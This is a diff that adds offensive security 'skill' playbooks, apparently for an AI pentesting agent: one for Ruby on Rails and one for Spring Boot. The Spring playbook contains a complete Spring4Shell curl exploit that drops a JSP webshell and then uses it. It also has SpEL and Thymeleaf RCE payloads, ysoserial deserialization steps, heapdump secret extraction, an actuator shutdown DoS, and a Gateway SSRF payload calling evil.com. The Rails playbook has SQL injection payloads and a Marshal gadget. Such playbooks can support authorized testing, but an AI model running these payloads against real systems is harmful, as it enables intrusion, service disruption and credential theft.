- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,269 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: rails
|
|
5
|
+
description: Security testing playbook for Ruby on Rails applications covering mass assignment, CSRF, route enumeration, deserialization, and Rails-specific misconfigurations
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Ruby on Rails Security Testing
|
|
9
|
+
|
|
10
|
+
Rails is common in startups and SaaS applications. Key attack surface: mass assignment via strong parameters bypass, CSRF handling, route enumeration, Ruby deserialization, and config exposure.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Reconnaissance
|
|
15
|
+
|
|
16
|
+
### Fingerprinting Rails
|
|
17
|
+
|
|
18
|
+
# Rails-specific paths and patterns
|
|
19
|
+
GET /rails/info/properties # Rails app info (development only)
|
|
20
|
+
GET /rails/info/routes # Full route listing (development only)
|
|
21
|
+
GET /rails/mailers # Mailer preview (development only)
|
|
22
|
+
GET /sidekiq # Sidekiq job queue (very common)
|
|
23
|
+
GET /sidekiq/queues # Queue list
|
|
24
|
+
GET /resque # Resque dashboard
|
|
25
|
+
GET /delayed_job # DelayedJob dashboard
|
|
26
|
+
|
|
27
|
+
# Rails standard routes
|
|
28
|
+
GET / # Root
|
|
29
|
+
GET /users # Index
|
|
30
|
+
GET /users/new # New form
|
|
31
|
+
POST /users # Create
|
|
32
|
+
GET /users/:id # Show
|
|
33
|
+
GET /users/:id/edit # Edit form
|
|
34
|
+
PATCH/PUT /users/:id # Update
|
|
35
|
+
DELETE /users/:id # Delete
|
|
36
|
+
|
|
37
|
+
# Rails JSON API conventions
|
|
38
|
+
GET /api/v1/<resource>.json
|
|
39
|
+
GET /api/v1/<resource>/<id>.json
|
|
40
|
+
|
|
41
|
+
# Fingerprinting via headers
|
|
42
|
+
X-Request-Id: <uuid> # Rails generates this
|
|
43
|
+
Set-Cookie: _app_session=... # Rails session cookie pattern
|
|
44
|
+
|
|
45
|
+
# Error page fingerprint
|
|
46
|
+
GET /nonexistent → ActionController::RoutingError (development)
|
|
47
|
+
|
|
48
|
+
---
|
|
49
|
+
|
|
50
|
+
## Route Enumeration
|
|
51
|
+
|
|
52
|
+
# rails routes exposed in development
|
|
53
|
+
GET /rails/info/routes
|
|
54
|
+
|
|
55
|
+
# Production route guessing from RESTful conventions
|
|
56
|
+
# GET /admin → admin dashboard
|
|
57
|
+
# GET /admin/users → user management
|
|
58
|
+
# GET /health → health check
|
|
59
|
+
# GET /__health → alt health
|
|
60
|
+
# GET /metrics → Prometheus metrics (sometimes)
|
|
61
|
+
|
|
62
|
+
# Fuzz with Rails-specific wordlist
|
|
63
|
+
dirsearch -u <target> -w /usr/share/seclists/Discovery/Web-Content/rails.txt
|
|
64
|
+
|
|
65
|
+
---
|
|
66
|
+
|
|
67
|
+
## Mass Assignment
|
|
68
|
+
|
|
69
|
+
Rails 4+ uses Strong Parameters — but bypass is common via nested params or whitelisted `:all`:
|
|
70
|
+
|
|
71
|
+
# Test by adding extra fields to any POST/PUT/PATCH:
|
|
72
|
+
POST /users
|
|
73
|
+
{"user": {"email": "a@b.com", "password": "pass", "admin": true, "role": "admin"}}
|
|
74
|
+
|
|
75
|
+
# Nested attributes bypass:
|
|
76
|
+
POST /profiles
|
|
77
|
+
{"profile": {"bio": "test", "user_attributes": {"admin": true}}}
|
|
78
|
+
|
|
79
|
+
# permit! wildcard (vulnerable):
|
|
80
|
+
params.require(:user).permit! # Allows all attributes
|
|
81
|
+
|
|
82
|
+
# rails_admin and ActiveAdmin gems often have mass assignment issues
|
|
83
|
+
POST /admin/users
|
|
84
|
+
{"user": {"admin": true, "role_id": 1}}
|
|
85
|
+
|
|
86
|
+
---
|
|
87
|
+
|
|
88
|
+
## CSRF
|
|
89
|
+
|
|
90
|
+
# Rails CSRF: authenticity_token in forms + X-CSRF-Token header
|
|
91
|
+
# Default: protects all non-GET/HEAD/OPTIONS/TRACE requests
|
|
92
|
+
|
|
93
|
+
# Bypass techniques:
|
|
94
|
+
# 1. API controllers with protect_from_forgery :with => :null_session (CSRF disabled)
|
|
95
|
+
# 2. Routes under /api/ commonly skip CSRF
|
|
96
|
+
# 3. Same-site cookie with XSS
|
|
97
|
+
# 4. JSON-only endpoints sometimes exempt (Content-Type: application/json)
|
|
98
|
+
# 5. Token in URL (?authenticity_token=...) — leaked in Referer header
|
|
99
|
+
|
|
100
|
+
# Extract CSRF token
|
|
101
|
+
curl -c cookies.txt -s <target>/login | grep authenticity_token
|
|
102
|
+
|
|
103
|
+
---
|
|
104
|
+
|
|
105
|
+
## Ruby Deserialization
|
|
106
|
+
|
|
107
|
+
Rails uses Marshal for Ruby object serialization in cookies (Rails < 4.0 default) and some caches:
|
|
108
|
+
|
|
109
|
+
# Marshal-based cookie deserialization (old Rails):
|
|
110
|
+
# If cookie contains %-encoded binary data starting with BAh = Marshal.dump
|
|
111
|
+
echo "BAh..." | base64 -d | ruby -e "require 'marshal'; puts Marshal.load(STDIN.read)"
|
|
112
|
+
|
|
113
|
+
# Generate deserialization payload (Ruby gadget chains):
|
|
114
|
+
# Tool: https://github.com/presidentbeef/brakeman
|
|
115
|
+
# Universal gadget via erb:
|
|
116
|
+
ruby -e "require 'erb'; require 'open3'; payload = ERB.new('<%= \`id\` %>'); puts Marshal.dump(payload)"
|
|
117
|
+
|
|
118
|
+
# Rails cookie secret key base exposure → forge cookies
|
|
119
|
+
# If SECRET_KEY_BASE or SECRET_TOKEN is in git history, .env, or leaked error page:
|
|
120
|
+
# Forge any session data
|
|
121
|
+
|
|
122
|
+
# CVE-2013-0156: Old Rails YAML/XML deserialization
|
|
123
|
+
# CVE-2020-8163: Remote code execution in Rails < 5.2.4.3 (ERB render injection)
|
|
124
|
+
|
|
125
|
+
---
|
|
126
|
+
|
|
127
|
+
## SQL Injection
|
|
128
|
+
|
|
129
|
+
# ActiveRecord is parameterized by default, but raw queries exist:
|
|
130
|
+
|
|
131
|
+
# Vulnerable patterns:
|
|
132
|
+
User.where("name = '#{params[:name]}'") # Vulnerable
|
|
133
|
+
User.find_by_sql("SELECT * FROM users WHERE id=#{params[:id]}") # Vulnerable
|
|
134
|
+
User.order(params[:sort]) # Order injection
|
|
135
|
+
|
|
136
|
+
# Safe patterns:
|
|
137
|
+
User.where("name = ?", params[:name]) # Safe
|
|
138
|
+
User.where(name: params[:name]) # Safe
|
|
139
|
+
|
|
140
|
+
# Order-by injection (extremely common in Rails apps):
|
|
141
|
+
GET /users?sort=name ASC,(SELECT SLEEP(5))--
|
|
142
|
+
GET /products?order=price`,(SELECT 1 FROM (SELECT SLEEP(5))a)--
|
|
143
|
+
|
|
144
|
+
# Test with sqlmap:
|
|
145
|
+
sqlmap -u "<target>/users?sort=name" --dbms=postgresql -p sort --level=3
|
|
146
|
+
|
|
147
|
+
---
|
|
148
|
+
|
|
149
|
+
## File Upload (Active Storage / CarrierWave / Paperclip)
|
|
150
|
+
|
|
151
|
+
# Rails Active Storage endpoints:
|
|
152
|
+
GET /rails/active_storage/blobs/<token>/<filename>
|
|
153
|
+
GET /rails/active_storage/representations/<...>
|
|
154
|
+
GET /rails/active_storage/disk/<...>
|
|
155
|
+
|
|
156
|
+
# Direct upload endpoint (may allow arbitrary file types):
|
|
157
|
+
POST /rails/active_storage/direct_uploads
|
|
158
|
+
Content-Type: application/json
|
|
159
|
+
{"blob": {"filename": "shell.rb", "content_type": "image/jpeg", "byte_size": 100}}
|
|
160
|
+
|
|
161
|
+
# CarrierWave: check if serve_static_assets or X-Accel-Redirect used
|
|
162
|
+
# Path traversal in filename: ../../../config/database.yml
|
|
163
|
+
|
|
164
|
+
---
|
|
165
|
+
|
|
166
|
+
## Sensitive File Exposure
|
|
167
|
+
|
|
168
|
+
# Rails configuration files
|
|
169
|
+
GET /config/database.yml # DB credentials
|
|
170
|
+
GET /config/secrets.yml # Secret key base (Rails 4.2)
|
|
171
|
+
GET /config/credentials.yml.enc # Encrypted credentials (Rails 5.2+)
|
|
172
|
+
GET /config/master.key # Decrypts credentials.yml.enc (CRITICAL)
|
|
173
|
+
GET /config/environments/production.rb
|
|
174
|
+
|
|
175
|
+
# Log files
|
|
176
|
+
GET /log/production.log
|
|
177
|
+
|
|
178
|
+
# Gemfile reveals gems in use
|
|
179
|
+
GET /Gemfile
|
|
180
|
+
GET /Gemfile.lock
|
|
181
|
+
|
|
182
|
+
# .env exposure
|
|
183
|
+
GET /.env
|
|
184
|
+
|
|
185
|
+
# Git exposure (common in Heroku/Render deployments)
|
|
186
|
+
GET /.git/config
|
|
187
|
+
|
|
188
|
+
---
|
|
189
|
+
|
|
190
|
+
## Sidekiq Dashboard
|
|
191
|
+
|
|
192
|
+
# Sidekiq web UI (very commonly exposed without auth)
|
|
193
|
+
GET /sidekiq
|
|
194
|
+
GET /sidekiq/queues
|
|
195
|
+
GET /sidekiq/workers
|
|
196
|
+
GET /sidekiq/retries
|
|
197
|
+
GET /sidekiq/dead
|
|
198
|
+
|
|
199
|
+
# If accessible: view job arguments (may contain credentials, user data)
|
|
200
|
+
# Can retry/delete jobs
|
|
201
|
+
# Sidekiq API:
|
|
202
|
+
GET /sidekiq/api/queues
|
|
203
|
+
GET /sidekiq/api/stats
|
|
204
|
+
|
|
205
|
+
---
|
|
206
|
+
|
|
207
|
+
## Authentication
|
|
208
|
+
|
|
209
|
+
# Devise (most common Rails auth gem) endpoints:
|
|
210
|
+
POST /users/sign_in
|
|
211
|
+
POST /users/sign_up
|
|
212
|
+
DELETE /users/sign_out
|
|
213
|
+
POST /users/password # Password reset request
|
|
214
|
+
PUT /users/password # Password reset with token
|
|
215
|
+
GET /users/confirmation?token=... # Email confirmation
|
|
216
|
+
|
|
217
|
+
# Devise account enumeration:
|
|
218
|
+
POST /users/password
|
|
219
|
+
{"user": {"email": "valid@example.com"}} # "You will receive an email"
|
|
220
|
+
{"user": {"email": "invalid@example.com"}} # "Email not found"
|
|
221
|
+
|
|
222
|
+
# Devise token authentication (devise_token_auth):
|
|
223
|
+
POST /auth/sign_in → returns uid, access-token, client, token-type
|
|
224
|
+
# Replay attack: token is single-use but race condition may allow reuse
|
|
225
|
+
|
|
226
|
+
---
|
|
227
|
+
|
|
228
|
+
## IDOR
|
|
229
|
+
|
|
230
|
+
# Rails RESTful routes use sequential integer IDs by default
|
|
231
|
+
GET /invoices/1
|
|
232
|
+
GET /invoices/2 # Another user's invoice?
|
|
233
|
+
|
|
234
|
+
# Nested resources:
|
|
235
|
+
GET /users/1/documents/1 # Verify /users/:user_id matches authenticated user
|
|
236
|
+
|
|
237
|
+
# Globalize (multi-language): check if lang param causes different auth path
|
|
238
|
+
GET /en/admin
|
|
239
|
+
GET /ja/admin
|
|
240
|
+
|
|
241
|
+
---
|
|
242
|
+
|
|
243
|
+
## View Injection / XSS
|
|
244
|
+
|
|
245
|
+
# Rails auto-escapes ERB by default
|
|
246
|
+
# raw() and html_safe bypass escape:
|
|
247
|
+
<%= raw(params[:name]) %> # XSS if user-controlled
|
|
248
|
+
|
|
249
|
+
# JSON injection in view:
|
|
250
|
+
<%= params[:callback].html_safe %> # JSONP injection
|
|
251
|
+
|
|
252
|
+
# Redirect injection:
|
|
253
|
+
redirect_to params[:return_to] # Open redirect if not validated
|
|
254
|
+
|
|
255
|
+
---
|
|
256
|
+
|
|
257
|
+
## Pro Tips
|
|
258
|
+
|
|
259
|
+
1. `/sidekiq` without auth is extremely common — always check it first
|
|
260
|
+
2. `/rails/info/routes` in development exposes full route list
|
|
261
|
+
3. `SECRET_KEY_BASE` in git history → forge any session cookie
|
|
262
|
+
4. Order-by injection (`?sort=`, `?order=`) is the most common Rails SQLi pattern
|
|
263
|
+
5. Devise password reset: test token brute-force and timing attacks
|
|
264
|
+
6. `permit!` in strong parameters is a mass assignment goldmine
|
|
265
|
+
7. Active Storage direct upload may accept dangerous file types
|
|
266
|
+
|
|
267
|
+
## Summary
|
|
268
|
+
|
|
269
|
+
Rails testing = Sidekiq exposure + route enumeration + mass assignment in strong params + order-by SQLi injection. The fastest critical find is Sidekiq dashboard exposed without auth (common) or SECRET_KEY_BASE in git history enabling session forgery. Always test Devise endpoints for account enumeration and timing attacks.
|
|
@@ -0,0 +1,245 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: spring
|
|
5
|
+
description: Security testing playbook for Spring Boot/MVC applications covering Actuator endpoints, SSTI via Thymeleaf, Spring4Shell, EL injection, and Java deserialization
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Spring Boot / Spring MVC Security Testing
|
|
9
|
+
|
|
10
|
+
Spring is the dominant Java enterprise framework. Critical attack surface: exposed Actuator endpoints, EL/SSTI injection, Spring4Shell (CVE-2022-22965), deserialization, and Spring Security misconfigurations.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Reconnaissance
|
|
15
|
+
|
|
16
|
+
### Fingerprinting Spring
|
|
17
|
+
|
|
18
|
+
# Spring Boot Actuator — management endpoints (HIGHEST PRIORITY)
|
|
19
|
+
GET /actuator # Lists all enabled actuator endpoints
|
|
20
|
+
GET /actuator/health # App health (often public)
|
|
21
|
+
GET /actuator/env # Environment variables + config (CRITICAL)
|
|
22
|
+
GET /actuator/beans # All Spring beans
|
|
23
|
+
GET /actuator/mappings # All URL mappings (full route enumeration!)
|
|
24
|
+
GET /actuator/loggers # Log level config
|
|
25
|
+
GET /actuator/metrics # Application metrics
|
|
26
|
+
GET /actuator/threaddump # Thread dump
|
|
27
|
+
GET /actuator/heapdump # JVM heap dump (download full memory!)
|
|
28
|
+
GET /actuator/httptrace # Recent HTTP requests
|
|
29
|
+
GET /actuator/sessions # Active sessions
|
|
30
|
+
GET /actuator/shutdown # POST → shuts down app (if enabled!)
|
|
31
|
+
|
|
32
|
+
# Legacy Spring Boot 1.x paths (pre-2.0)
|
|
33
|
+
GET /health
|
|
34
|
+
GET /env
|
|
35
|
+
GET /mappings
|
|
36
|
+
GET /beans
|
|
37
|
+
GET /trace
|
|
38
|
+
GET /dump
|
|
39
|
+
|
|
40
|
+
# Alternate Actuator base paths
|
|
41
|
+
GET /management/actuator
|
|
42
|
+
GET /admin/actuator
|
|
43
|
+
GET /api/actuator
|
|
44
|
+
GET /internal/actuator
|
|
45
|
+
|
|
46
|
+
# Error pages reveal Spring
|
|
47
|
+
GET /nonexistent → Whitelabel Error Page → confirms Spring Boot
|
|
48
|
+
X-Application-Context header in responses
|
|
49
|
+
|
|
50
|
+
---
|
|
51
|
+
|
|
52
|
+
## Actuator Exploitation
|
|
53
|
+
|
|
54
|
+
### /actuator/env — Credential Extraction
|
|
55
|
+
|
|
56
|
+
# Returns all properties including masked values (shown as ***)
|
|
57
|
+
# Unmasked properties visible directly
|
|
58
|
+
|
|
59
|
+
# Change log level to TRACE → verbose credential logging
|
|
60
|
+
POST /actuator/loggers/org.springframework.web
|
|
61
|
+
Content-Type: application/json
|
|
62
|
+
{"configuredLevel": "TRACE"}
|
|
63
|
+
|
|
64
|
+
# Actuator env with POST can set properties:
|
|
65
|
+
POST /actuator/env
|
|
66
|
+
Content-Type: application/json
|
|
67
|
+
{"name": "spring.datasource.url", "value": "jdbc:h2:mem:testdb"}
|
|
68
|
+
|
|
69
|
+
### /actuator/heapdump — Memory Extraction
|
|
70
|
+
|
|
71
|
+
# Download full JVM heap (can be hundreds of MB)
|
|
72
|
+
curl -o heap.hprof http://<target>/actuator/heapdump
|
|
73
|
+
|
|
74
|
+
# Analyze with Eclipse Memory Analyzer (MAT) or strings
|
|
75
|
+
strings heap.hprof | grep -iE "password|secret|key|token|jdbc"
|
|
76
|
+
|
|
77
|
+
### /actuator/mappings — Route Discovery
|
|
78
|
+
|
|
79
|
+
# Full list of all URL mappings, methods, and handlers
|
|
80
|
+
curl -s <target>/actuator/mappings | python3 -m json.tool | grep '"pattern"'
|
|
81
|
+
|
|
82
|
+
### /actuator/shutdown — DoS (if POST enabled)
|
|
83
|
+
|
|
84
|
+
POST /actuator/shutdown
|
|
85
|
+
Content-Type: application/json
|
|
86
|
+
{}
|
|
87
|
+
|
|
88
|
+
---
|
|
89
|
+
|
|
90
|
+
## Spring4Shell (CVE-2022-22965) — RCE
|
|
91
|
+
|
|
92
|
+
Affects Spring MVC 5.3.x < 5.3.18, 5.2.x < 5.2.20, JDK 9+, packaged as WAR on Tomcat:
|
|
93
|
+
|
|
94
|
+
# Exploit — write JSP webshell via ClassLoader
|
|
95
|
+
curl -X POST <target>/any-spring-mvc-endpoint \
|
|
96
|
+
--data "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((-1!%3D(a%3Din.read(b))))%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" \
|
|
97
|
+
-H "c1: Runtime" -H "c2: <%" -H "suffix: %>"
|
|
98
|
+
|
|
99
|
+
# After exploit, access the webshell:
|
|
100
|
+
GET /tomcatwar.jsp?pwd=j&cmd=id
|
|
101
|
+
|
|
102
|
+
# Nuclei template:
|
|
103
|
+
nuclei -t cves/2022/CVE-2022-22965.yaml -u <target>
|
|
104
|
+
|
|
105
|
+
---
|
|
106
|
+
|
|
107
|
+
## Thymeleaf SSTI (Spring View Manipulation)
|
|
108
|
+
|
|
109
|
+
Thymeleaf is the default template engine for Spring Boot:
|
|
110
|
+
|
|
111
|
+
# If user input ends up in view name (Spring MVC controller returns view name from input):
|
|
112
|
+
# Vulnerable pattern:
|
|
113
|
+
# @GetMapping("/path") public String index(@RequestParam String lang) { return lang; }
|
|
114
|
+
|
|
115
|
+
# Basic probes:
|
|
116
|
+
/__$%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%27id%27%29%7D__::
|
|
117
|
+
__${T(java.lang.Runtime).getRuntime().exec('id')}__::
|
|
118
|
+
|
|
119
|
+
# Spring EL expression via Thymeleaf
|
|
120
|
+
${T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','id'})}
|
|
121
|
+
|
|
122
|
+
# If fragment is injectable:
|
|
123
|
+
GET /path?fragment=__${T(java.lang.Runtime).getRuntime().exec('id')}__::
|
|
124
|
+
|
|
125
|
+
---
|
|
126
|
+
|
|
127
|
+
## Spring EL Injection
|
|
128
|
+
|
|
129
|
+
# SpEL injection in @Value annotations, Spring Security expressions, or dynamic evaluation
|
|
130
|
+
# Test any input that may be evaluated as SpEL:
|
|
131
|
+
T(java.lang.Runtime).getRuntime().exec('id')
|
|
132
|
+
new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).next()
|
|
133
|
+
|
|
134
|
+
# HTTP parameter to SpEL (if app uses BeanFactory.getBean(userInput)):
|
|
135
|
+
?expression=T(java.lang.Runtime).getRuntime().exec('id')
|
|
136
|
+
|
|
137
|
+
---
|
|
138
|
+
|
|
139
|
+
## Java Deserialization
|
|
140
|
+
|
|
141
|
+
# Spring apps using Java serialization (RMI, JMX, ObjectInputStream)
|
|
142
|
+
# Detect: Content-Type: application/x-java-serialized-object
|
|
143
|
+
# Or: base64 starting with rO0AB (Java serialized object magic bytes)
|
|
144
|
+
|
|
145
|
+
# Test all binary-accepting endpoints
|
|
146
|
+
# Generate payload with ysoserial:
|
|
147
|
+
java -jar ysoserial.jar CommonsCollections1 'id' > payload.ser
|
|
148
|
+
curl -X POST <target>/endpoint \
|
|
149
|
+
-H "Content-Type: application/x-java-serialized-object" \
|
|
150
|
+
--data-binary @payload.ser
|
|
151
|
+
|
|
152
|
+
# Common gadget chains for Spring ecosystem:
|
|
153
|
+
CommonsCollections1/3/5/6 (Apache Commons Collections)
|
|
154
|
+
Spring1/Spring2 (Spring itself)
|
|
155
|
+
Groovy1 (if Groovy on classpath)
|
|
156
|
+
|
|
157
|
+
---
|
|
158
|
+
|
|
159
|
+
## Spring Security Misconfigurations
|
|
160
|
+
|
|
161
|
+
# permitAll() on sensitive endpoints:
|
|
162
|
+
GET /api/admin/users # Should require auth
|
|
163
|
+
GET /api/internal/ # Often left open
|
|
164
|
+
|
|
165
|
+
# CSRF disabled for API (common but dangerous if cookies used):
|
|
166
|
+
# http.csrf().disable() in SecurityConfig
|
|
167
|
+
|
|
168
|
+
# URL matching bypasses (Spring Security path matching):
|
|
169
|
+
GET /admin%2F # URL-encoded slash bypass
|
|
170
|
+
GET /admin;ignored/ # Semicolon matrix parameter bypass (older Spring)
|
|
171
|
+
GET /admin/./ # Path traversal normalization bypass
|
|
172
|
+
GET //admin/ # Double slash bypass
|
|
173
|
+
|
|
174
|
+
# Method-level security check:
|
|
175
|
+
# @PreAuthorize("hasRole('ADMIN')") — test with USER role
|
|
176
|
+
|
|
177
|
+
---
|
|
178
|
+
|
|
179
|
+
## OAuth2 / JWT
|
|
180
|
+
|
|
181
|
+
# Spring Security OAuth2 endpoints:
|
|
182
|
+
GET /oauth/authorize
|
|
183
|
+
POST /oauth/token
|
|
184
|
+
GET /oauth/check_token
|
|
185
|
+
GET /.well-known/openid-configuration
|
|
186
|
+
|
|
187
|
+
# JWT with RS256: algorithm confusion → sign with public key as HS256
|
|
188
|
+
# JWT 'kid' header injection for key confusion
|
|
189
|
+
# Missing audience/issuer validation
|
|
190
|
+
|
|
191
|
+
---
|
|
192
|
+
|
|
193
|
+
## Actuator via Spring Cloud
|
|
194
|
+
|
|
195
|
+
# Spring Cloud Config Server — very high value
|
|
196
|
+
GET /env/<app-name>/<profile>/<branch> # Remote config fetch
|
|
197
|
+
GET /<app-name>/default # Default profile config
|
|
198
|
+
|
|
199
|
+
# Spring Cloud Gateway SSRF (CVE-2022-22947)
|
|
200
|
+
POST /actuator/gateway/routes/ssrf-test
|
|
201
|
+
Content-Type: application/json
|
|
202
|
+
{
|
|
203
|
+
"id": "ssrf-test",
|
|
204
|
+
"filters": [{"name": "AddResponseHeader", "args": {"name": "foo", "value": "#{T(java.lang.Runtime).getRuntime().exec('id').text}"}}],
|
|
205
|
+
"uri": "https://evil.com"
|
|
206
|
+
}
|
|
207
|
+
|
|
208
|
+
---
|
|
209
|
+
|
|
210
|
+
## Common CVEs
|
|
211
|
+
|
|
212
|
+
| CVE | Component | Impact |
|
|
213
|
+
|-----|-----------|--------|
|
|
214
|
+
| CVE-2022-22965 | Spring MVC | RCE (Spring4Shell) |
|
|
215
|
+
| CVE-2022-22963 | Spring Cloud Function | RCE via SpEL |
|
|
216
|
+
| CVE-2022-22947 | Spring Cloud Gateway | RCE via Actuator |
|
|
217
|
+
| CVE-2021-22096 | Spring Framework | Log injection |
|
|
218
|
+
| CVE-2020-5421 | Spring MVC | Reflected File Download |
|
|
219
|
+
|
|
220
|
+
# Scan for known CVEs:
|
|
221
|
+
nuclei -t cves/ -u <target> -tags spring
|
|
222
|
+
|
|
223
|
+
---
|
|
224
|
+
|
|
225
|
+
## Key Tools
|
|
226
|
+
|
|
227
|
+
nuclei -t exposures/configs/spring-actuator.yaml -u <target>
|
|
228
|
+
nuclei -t cves/ -tags spring -u <target>
|
|
229
|
+
dirsearch -u <target> -e java,class,war,xml
|
|
230
|
+
|
|
231
|
+
---
|
|
232
|
+
|
|
233
|
+
## Pro Tips
|
|
234
|
+
|
|
235
|
+
1. `/actuator/mappings` = free full route enumeration — always check first
|
|
236
|
+
2. `/actuator/heapdump` = full JVM memory — contains plaintext credentials, tokens, secrets
|
|
237
|
+
3. `/actuator/env` masks passwords but often other sensitive properties are visible
|
|
238
|
+
4. Spring4Shell (CVE-2022-22965) requires WAR deployment on Tomcat — check server type
|
|
239
|
+
5. Whitelabel Error Page confirms Spring Boot; custom error pages may hide it
|
|
240
|
+
6. CSRF is commonly disabled for REST APIs — test all state-changing API calls
|
|
241
|
+
7. SpEL injection is rare but critical — search for dynamic expression evaluation
|
|
242
|
+
|
|
243
|
+
## Summary
|
|
244
|
+
|
|
245
|
+
Spring testing = Actuator endpoints (env, heapdump, mappings) + Spring4Shell check + Thymeleaf SSTI + Spring Security URL bypass. Actuator exposure is the #1 finding in Spring apps — heapdump alone can reveal all secrets in memory. Always enumerate alternate Actuator base paths (/management/, /admin/, /internal/).
|